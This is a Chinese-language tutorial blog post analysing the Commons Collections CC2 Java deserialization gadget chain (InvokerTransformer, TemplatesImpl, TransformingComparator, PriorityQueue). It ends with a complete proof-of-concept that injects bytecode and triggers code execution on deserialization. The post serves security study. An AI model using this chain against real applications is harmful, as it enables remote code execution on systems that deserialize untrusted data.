CommonsCollections2

Chiexf Lv4

0x00 前言

CC2这条链其实是在CC4的基础上,利用InvokerTransformer类去调用**TemplatesImpl.newTransformer()**方法

代理原本利用InstantiateTransformer类将TrAXFilter类进行初始化,实现调用**TemplatesImpl.newTransformer()**方法

0x01 利用链分析

InvokerTransformer

所以,只需要将CC4中的

1
2
3
4
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

更改为

1
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

构造出InvokerTransformer去调用newTransformer方法

TemplatesImpl

并且我们这里没有在使用Transformer数组,所以也就无法使用ConstantTransformer来初始化变量,因此需要接收外部的变量。

而在Compare()中,队列里的参数将作为参数传入transform()方法里,这里就是传给newTransformer的参数

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

⼀样实例化PriorityQueue,而且此时**this.transformer.transform(obj1)**用的是传入的第一个对象作为参数

所以此时向队列⾥添加的元素就是我们前⾯创建的TemplatesImpl对象了

1
2
3
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

也可以图方便将两个都设置为TemplatesImpl对象

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

0x02 总结

0x03 参考资料

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec